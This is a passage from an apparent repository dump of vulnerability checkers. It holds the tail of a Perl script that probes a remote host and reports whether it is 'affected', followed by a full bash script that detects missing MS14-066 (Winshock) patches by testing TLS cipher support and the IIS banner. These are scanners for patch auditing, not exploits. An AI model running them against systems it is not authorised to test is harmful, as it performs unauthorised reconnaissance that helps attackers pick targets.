eval { 139 | local $SIG{ALRM} = sub { die "alarm\n" }; 140 | alarm $timeout; 141 | $ret = sysread($sock, $part, $chunksize); 142 | alarm 0; 143 | }; 144 | 145 | if ($@) { 146 | die unless $@ eq "alarm\n"; # propagate unexpected errors 147 | 148 | # timed out 149 | print "FAIL Remote host is affected\n"; 150 | last; 151 | } 152 | 153 | if (!defined($ret)) { 154 | print STDERR "sysread error: $!\n"; 155 | } 156 | 157 | if ($ret == 0) { 158 | print "ERROR Remote side closed connection\n"; 159 | last; 160 | } 161 | 162 | $pkt .= $part; 163 | $pktlen += $ret; 164 | 165 | next if ($ret == $chunksize); 166 | 167 | print "Got server response, size: $pktlen\n"; 168 | 169 | $ret = print_pkt_details($pkt, $pktlen); 170 | if ($ret > 0) { 171 | if ($ret == 2) { 172 | print "PASS Remote host is not affected\n"; 173 | $rv = 1; 174 | } elsif ($ret == 1) { 175 | print "ERROR Remote host is probably not affected\n"; 176 | } 177 | last; 178 | } 179 | 180 | $pkt = ''; 181 | $pktlen = 0; 182 | } 183 | 184 | close($sock); 185 | exit ($rv); 186 | 187 | -------------------------------------------------------------------------------- /screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1N3/MassBleed/44b7e85684c714941cbdf11417651ae2060be7b0/screenshot.png -------------------------------------------------------------------------------- /winshock.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # winshock_test.sh 4 | # 5 | # This script tries to determine whether the target system has the 6 | # winshock (MS14-066) patches applied or not. 7 | # This is done by checking if the SSL ciphers introduced by MS14-066 are 8 | # available on the system. 9 | # 10 | # 11 | # Authors: 12 | # Stephan Peijnik 13 | # 14 | # The MIT License (MIT) 15 | # 16 | # Copyright (c) 2014 ANEXIA Internetdienstleistungs GmbH 17 | # 18 | # Permission is hereby granted, free of charge, to any person obtaining a copy 19 | # of this software and associated documentation files (the "Software"), to deal 20 | # in the Software without restriction, including without limitation the rights 21 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 22 | # copies of the Software, and to permit persons to whom the Software is 23 | # furnished to do so, subject to the following conditions: 24 | # 25 | # The above copyright notice and this permission notice shall be included in all 26 | # copies or substantial portions of the Software. 27 | # 28 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 29 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 30 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 31 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 32 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 33 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 34 | # SOFTWARE. 35 | 36 | VERSION=0.2.1 37 | HOST=$1 38 | PORT=${2:-443} 39 | 40 | if [ -z "$HOST" -o -z "$PORT" ] 41 | then 42 | echo "Usage: $0 host [port]" 43 | echo "port defaults to 443." 44 | exit 1 45 | fi 46 | 47 | # According to https://technet.microsoft.com/library/security/ms14-066 the 48 | # following ciphers were added with the patch: 49 | # * TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 50 | # * TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 51 | # * TLS_RSA_WITH_AES_256_GCM_SHA384 52 | # * TLS_RSA_WITH_AES_128_GCM_SHA256 53 | # 54 | # The OpenSSL cipher names for these ciphers are: 55 | MS14_066_CIPHERS="DHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES128-GCM-SHA256 AES256-GCM-SHA384 AES128-GCM-SHA256" 56 | # Ciphers supported by Windows Server 2012R2 57 | WINDOWS_SERVER_2012R2_CIPHERS="ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES256-SHA" 58 | 59 | # Test if OpenSSL does support the ciphers we're checking for... 60 | echo -n "Testing if OpenSSL supports the ciphers we are checking for: " 61 | openssl_ciphers=$(openssl ciphers) 62 | 63 | for c in $MS14_066_CIPHERS 64 | do 65 | if ! echo $openssl_ciphers | grep -q $c 2>&1 >/dev/null 66 | then 67 | echo -e "\033[91mNO (OpenSSL does not support $c cipher.)\033[0m" 68 | echo -e "\033[91mAborting." 69 | exit 5 70 | fi 71 | done 72 | 73 | echo -e "\033[92mYES\033[0m" 74 | 75 | SERVER=$HOST:$PORT 76 | 77 | echo -e "\n\033[94mTesting ${SERVER} for availability of SSL ciphers added in MS14-066...\033[0m" 78 | 79 | patched="no" 80 | for cipher in ${MS14_066_CIPHERS} 81 | do 82 | echo -en "Testing cipher ${cipher}: " 83 | result=$(echo -n | openssl s_client -cipher "$cipher" -connect $SERVER 2>&1) 84 | if [[ "$result" =~ "connect:errno=" ]] 85 | then 86 | err=$(echo $result | grep ^connect: \ 87 | | sed -e 's/connect:errno=.*//g' -e 's/connect: //g') 88 | echo -e "\033[93mConnection error: $err" 89 | echo -e "Aborting checks.\033[0m" 90 | exit 1 91 | elif [[ "$result" =~ "SSL23_GET_SERVER_HELLO:unknown protocol" ]] 92 | then 93 | echo -e "\033[93mNo SSL/TLS support on target port." 94 | echo -e "Aborting checks.\033[0m" 95 | exit 1 96 | elif [[ "$result" =~ "SSL_CTX_set_cipher_list:no cipher match" ]] 97 | then 98 | echo -e "\033[93mYour version of OpenSSL is not supported." 99 | echo -e "Aborting checks.\033[39m" 100 | exit 1 101 | elif [[ "$result" =~ "Cipher is ${cipher}" || "$result" =~ "Cipher : ${cipher}" ]] 102 | then 103 | echo -e "\033[92mSUPPORTED\033[0m" 104 | if [[ "$patched" == "no" ]] 105 | then 106 | patched="yes" 107 | fi 108 | else 109 | echo -e "\033[91mUNSUPPORTED\033[0m" 110 | fi 111 | done 112 | 113 | windows_server_2012_or_later="no" 114 | windows_server_2012_r2="no" 115 | iis_detected="no" 116 | # added by @stoep: check whether a 443 port runs IIS 117 | if [[ "$PORT" == "443" ]] 118 | then 119 | iis=$(curl -k -I https://$SERVER 2> /dev/null | grep "Server" ) 120 | echo -n "Testing if IIS is running on port 443: " 121 | if [[ $iis == *Microsoft-IIS* ]] 122 | then 123 | iis_version=$(echo $iis | sed -e 's|Server: Microsoft-IIS/||g') 124 | iis_detected="yes" 125 | echo -e "\033[92mYES - Version ${iis_version}\033[0m" 126 | if [[ $iis_version == *8.5* ]] 127 | then 128 | echo -e "\033[91mWindows Server 2012 R2 detected. Results of this script will be inconclusive.\033[0m" 129 | windows_server_2012_or_later="yes" 130 | windows_server_2012_r2="yes" 131 | elif [[ $iis_version == *8.0* ]] 132 | then 133 | windows_server_2012_or_later="yes" 134 | windows_server_2012_r2="no" 135 | fi 136 | else 137 | echo -e "\033[91mNO\033[0m" 138 | fi 139 | fi 140 | 141 | # Check if Windows Server 2012 or later is running on the remote system... 142 | if [[ "$windows_server_2012_or_later" == "no" && "$iis_detected" == "no" ]] 143 | then 144 | echo -e "\033[94mChecking if target system is running Windows Server 2012 or later...\033[0m" 145 | for cipher in ${WINDOWS_SERVER_2012R2_CIPHERS} 146 | do 147 | echo -en "Testing cipher ${cipher}: " 148 | result=$(echo -n | openssl s_client -cipher "$cipher" -connect $SERVER 2>&1) 149 | if [[ "$result" =~ "connect:errno=" ]] 150 | then 151 | err=$(echo $result | grep ^connect: \ 152 | | sed -e 's/connect:errno=.*//g' -e 's/connect: //g') 153 | echo -e "\033[93mConnection error: $err" 154 | echo -e "Aborting checks.\033[0m" 155 | exit 1 156 | elif [[ "$result" =~ "SSL23_GET_SERVER_HELLO:unknown protocol" ]] 157 | then 158 | echo -e "\033[93mNo SSL/TLS support on target port." 159 | echo -e "Aborting checks.\033[0m" 160 | exit 1 161 | elif [[ "$result" =~ "Cipher is ${cipher}" || "$result" =~ "Cipher : ${cipher}" ]] 162 | then 163 | echo -e "\033[92mSUPPORTED\033[0m" 164 | if [[ "$windows_server_2012_or_later" == "no" ]] 165 | then 166 | windows_server_2012_or_later="yes" 167 | break 168 | fi 169 | else 170 | echo -e "\033[91mUNSUPPORTED\033[0m" 171 | fi 172 | done 173 | fi 174 | 175 | if [[ "$patched" == "yes" && "$windows_server_2012_or_later" == "no" ]] 176 | then 177 | patched="\033[92mYES\033[0m" 178 | elif [[ "$patched" == "yes" ]] 179 | then 180 | patched="\033[93mUNKNOWN" 181 | if [[ "$windows_server_2012_r2" == "yes" ]] 182 | then 183 | patched="$patched: Windows Server 2012 R2 detected." 184 | else 185 | patched="$patched: Windows Server 2012 or later detected." 186 | fi 187 | else 188 | patched="\033[91mNO\033[0m" 189 | fi 190 | 191 | echo -e "\033[94m$SERVER is patched: $patched\033[0m" 192 | exit 0 193 | 194 | --------------------------------------------------------------------------------